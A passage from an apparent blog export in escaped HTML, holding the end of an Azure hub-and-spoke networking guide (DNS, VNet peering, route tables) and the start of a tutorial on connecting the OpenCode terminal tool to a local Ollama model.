y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eLink your hub VNet to the Private DNS Zones, and configure your spokes to use the Hub\u0026rsquo;s Firewall or Resolver as their DNS server. That\u0026rsquo;s what makes \u003ccode\u003eresource.privatelink.blob.core.windows.net\u003c/code\u003e resolve to a private IP across your entire organization—not just in the subscription where the Private Endpoint lives.\u003c/p\u003e\n\u003ch2 id=\"4-vnet-peering-and-gateway-transit\"\u003e4. VNet Peering and Gateway Transit\u003c/h2\u003e\n\u003cp\u003eTo connect a spoke to the hub, create a two-way peering. In an enterprise landing zone, enable \u003cstrong\u003eGateway Transit\u003c/strong\u003e. This lets spoke VNets use the VPN or ExpressRoute gateway in the hub, so you don\u0026rsquo;t pay for an expensive gateway in every application subscription.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_virtual_network_peering\u0026#34; \u0026#34;hub_to_spoke\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name                      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;peer-hub-to-app01\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  resource_group_name       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003ehub_vnet\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eresource_group_name\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  virtual_network_name      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003ehub_vnet\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003ename\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  remote_virtual_network_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003espoke_vnet_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  allow_gateway_transit     \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"5-controlling-egress-with-user-defined-routes-udr\"\u003e5. Controlling Egress with User Defined Routes (UDR)\u003c/h2\u003e\n\u003cp\u003ePeering a VNet to the hub does not automatically force traffic through the firewall. You must apply a \u003cstrong\u003eRoute Table\u003c/strong\u003e to your spoke subnets with a default route (\u003ccode\u003e0.0.0.0/0\u003c/code\u003e) pointing to the Azure Firewall\u0026rsquo;s private IP. Without this, traffic bypasses your central security policy—quietly, with no error, and no log entry in the firewall.\u003c/p\u003e\n\u003cp\u003eAdd the UDR in your \u003cstrong\u003eSubscription Vending\u003c/strong\u003e process. If a new spoke arrives without it, traffic will flow uninspected until someone notices.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eCentralize Egress:\u003c/strong\u003e Use Azure Firewall Premium in the hub to inspect all outbound traffic and enforce FQDN filtering.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSize for Growth:\u003c/strong\u003e Use \u003ccode\u003e/26\u003c/code\u003e for mandatory hub subnets to avoid future downtime during service scaling.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDNS is Global:\u003c/strong\u003e Use the DNS Private Resolver to provide a unified namespace for cloud and on-premises developers.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAutomate Peerings:\u003c/strong\u003e Include peering and UDR configuration in your \u003cstrong\u003eSubscription Vending\u003c/strong\u003e process to ensure new spokes are \u0026ldquo;Secure by Default.\u0026rdquo;\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-identity-architecture/\"\u003eIdentity and Access Architecture for Azure Landing Zones: Entra ID, RBAC, and PIM\u003c/a\u003e to design the Identity and RBAC model that will manage these network resources.\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-monitor-logging/\"\u003eCentralized Monitoring: Log Analytics, Diagnostic Settings, and Azure Monitor Workbooks\u003c/a\u003e to configure the centralized logging that will capture your Azure Firewall and DNS traffic.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/architecture/reference-architectures/hybrid-networking/hub-spoke\"\u003eMicrosoft Learn: Hub-and-spoke network topology in Azure\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Verified-Modules/specs/res/network/virtual-network/\"\u003eAzure Verified Modules: Virtual Network Specification\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/dns/dns-private-resolver-overview\"\u003eMicrosoft Learn: Azure DNS Private Resolver Overview\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Build a production hub-and-spoke network for Azure landing zones. Covers Azure Firewall Premium, Bastion scaling, DNS Private Resolver, and VNet peering with gateway transit.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-hub-spoke-networking/","title":"Hub-and-Spoke Networking for Azure Landing Zones: Azure Firewall, Bastion, and Private DNS"},{"content":"\u003cp\u003eOllama is running. The model loaded. You\u0026rsquo;ve confirmed it generates clean code from the command line. Now you open a coding session and immediately hit the workflow problem: you type a prompt in one terminal, copy the output, switch to your editor, paste it, check the line numbers, realize they\u0026rsquo;re wrong, go back to the terminal, correct the prompt, copy again, paste again.\u003c/p\u003e\n\u003cp\u003eThe copy-paste loop is exactly what OpenCode eliminates.\u003c/p\u003e\n\u003ch2 id=\"installing-and-connecting-opencode\"\u003eInstalling and Connecting OpenCode\u003c/h2\u003e\n\u003ch3 id=\"getting-the-cli\"\u003eGetting the CLI\u003c/h3\u003e\n\u003cp\u003eOpenCode requires Node.js. Install via npm:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enpm install -g opencode-ai\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eVerify the installation:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eopencode --version\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eLaunch OpenCode from your project directory:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd /path/to/project\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eopencode\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe TUI opens in your terminal: conversation history at the top, active context panel on one side, chat input at the bottom. If you haven\u0026rsquo;t configured a provider, it prompts you on first launch.\u003c/p\u003e\n\u003ch3 id=\"wiring-opencode-to-ollama\"\u003eWiring OpenCode to Ollama\u003c/h3\u003e\n\u003cp\u003eCreate or edit \u003ccode\u003e~/.config/opencode/opencode.json\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;provider\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;ollama\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Ollama\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;options\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;baseURL\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;http://localhost:11434/v1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;models\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;my-coder\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;my-coder\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003e\u0026#34;tools\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTwo details matter here. The \u003ccode\u003ebaseURL\u003c/code\u003e uses the \u003ccode\u003e/v1\u003c/code\u003e suffix — Ollama exposes an OpenAI-compatible endpoint at that path, and OpenCode expects the OpenAI API format. The \u003ccode\u003e\u0026quot;tools\u0026quot;: true\u003c/code\u003e flag enables function calling, which is how OpenCode applies file diffs as actual filesystem operations rather than just printing text.\u003c/p\u003e\n\u003cp\u003eAfter saving, restart OpenCode and select the model with \u003ccode\u003e/model my-coder\u003c/code\u003e at the chat input.\u003c/p\u003e\n\u003ch2 id=\"essential-opencode-commands\"\u003eEssential OpenCode Commands\u003c/h2\u003e\n\u003ch3 id=\"managing-code-context--and-new\"\u003eManaging Code Context: \u003ccode\u003e@\u003c/code\u003e and \u003ccode\u003e/new\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eThe quality of AI-generated code correlates directly with the quality of context you provide. Too little context and the model invents function signatures. Too much context and the KV cache overflows VRAM, slowing generation to a crawl.\u003c/p\u003e\n\u003cp\u003eTo attach a file to the model\u0026rsquo;s active context window, type \u003ccode\u003e@\u003c/code\u003e followed by the filename for fuzzy searching:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e@parser.py\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis reads \u003ccode\u003eparser.py\u003c/code\u003e and adds its full contents to the KV cache. The model can now reference the functions, imports, and type definitions in that file when generating changes.\u003c/p\u003e\n\u003cp\u003eTo free KV cache memory and focus the model on what you\u0026rsquo;re currently working on, clear the session context by starting a new one:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/new\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eOn an 8GB VRAM setup (like an RTX 4060 running Llama-3 8B), active context management is the difference between generating at 45 tokens/sec and degrading to 3 tokens/sec. Clear your context the moment you switch tasks.\u003c/p\u003e\n\u003cp\u003eThe core workflow pattern — Attach-Prompt-Apply-Clear — keeps your sessions fast and your context focused:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eUse \u003ccode\u003e@\u003c/code\u003e to attach the file you\u0026rsquo;re editing (and any interfaces it references)\u003c/li\u003e\n\u003cli\u003ePrompt the model for the specific change\u003c/li\u003e\n\u003cli\u003eReview and apply the generated diff\u003c/li\u003e\n\u003cli\u003eUse \u003ccode\u003e/new\u003c/code\u003e to clear the context when moving to an unrelated task\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"diagram\"\u003eDiagram\u003c/h3\u003e\n\u003cp\u003eThis diagram visualizes the OpenCode TUI architecture and core workflow, illustrating how the terminal interface manages context, communicates with the local Ollama API, and applies code diffs directly to the filesystem.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 568 425\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 200,0 L 360,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,48 L 280,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,48 L 360,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,80 L 280,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,80 L 488,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,128 L 168,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,128 L 360,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,128 L 552,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,176 L 88,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,176 L 168,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,176 L 280,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,176 L 360,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,176 L 472,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,176 L 552,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,208 L 184,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,208 L 280,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,256 L 264,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,256 L 552,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,304 L 184,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,304 L 264,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,304 L 472,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,304 L 552,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,352 L 264,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,352 L 552,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,384 L 384,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,400 L 264,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,400 L 552,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,128 L 8,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,80 L 72,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,176 L 88,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,256 L 104,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,352 L 104,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,128 L 168,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,208 L 184,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,304 L 184,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,0 L 200,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,128 L 200,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,256 L 264,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,352 L 264,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,48 L 280,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,80 L 280,112' fill='none' 